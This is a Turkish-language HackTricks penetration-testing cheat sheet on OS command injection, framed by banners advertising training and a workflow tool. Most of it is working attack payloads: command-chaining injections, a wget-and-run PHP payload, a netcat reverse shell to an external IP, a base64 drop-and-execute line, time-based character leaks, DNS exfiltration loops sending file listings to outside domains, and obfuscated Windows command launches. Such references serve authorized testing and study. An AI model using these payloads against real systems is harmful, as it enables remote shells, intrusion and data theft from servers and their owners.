hacktricks/pentesting-web/command-injection.md

6.8 KiB
Raw Blame History

Komut Enjeksiyonu

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'i desteklemenin diğer yolları:

  • Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın!
  • Resmi PEASS & HackTricks ürünlerini edinin
  • [The PEASS Family]'yi keşfedin, özel [NFT'ler] koleksiyonumuzu inceleyin
  • 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 [@carlospolopm]'yi takip edin
  • Hacking püf noktalarınızı paylaşarak PR göndererek [HackTricks] ve [HackTricks Cloud] github depolarına katkıda bulunun

Dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için [Trickest]'i kullanın.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Komut Enjeksiyonu Nedir?

Komut enjeksiyonu, bir saldırganın bir uygulamanın barındırıldığı sunucuda keyfi işletim sistemi komutlarını yürütmesine izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen tehlikeye atılabilir. Bu komutların yürütülmesi genellikle saldırganın uygulamanın ortamı ve alt sistem üzerinde yetkisiz erişim veya kontrol elde etmesine olanak tanır.

Bağlam

Girdinizin enjekte edildiği yere bağlı olarak, komutlardan önce alıntılanan bağlamı sonlandırmanız gerekebilir (" veya ').

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Sınırlama Atlatmaları

Eğer bir Linux makinesi içinde keyfi komutlar çalıştırmaya çalışıyorsanız, bu Atlatmaları hakkında okumak ilginizi çekebilir:

{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %} bypass-bash-restrictions {% endcontent-ref %}

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Parametreler

İşte kod enjeksiyonuna ve benzeri RCE güvenlik açıklarına karşı savunmasız olabilecek en üst 25 parametre (bağlantı):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Zaman tabanlı veri dışa aktarma

Veri çıkarma: karakter karakter

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS tabanlı veri sızdırma

https://github.com/HoLyVieR/dnsbin adresindeki araca dayanmaktadır ve aynı zamanda dnsbin.zhack.ca adresinde barındırılmaktadır.

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

DNS tabanlı veri sızdırma için kontrol etmek için çevrimiçi araçlar:

  • dnsbin.zhack.ca
  • pingb.in

Filtreleme atlatma

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %} bypass-bash-restrictions {% endcontent-ref %}

Brute-Force Tespit Listesi

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}

Referanslar

Sıfırdan kahraman olacak şekilde AWS hackleme konusunda htARTE (HackTricks AWS Red Team Expert) öğrenin!

HackTricks'ı desteklemenin diğer yolları:


Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}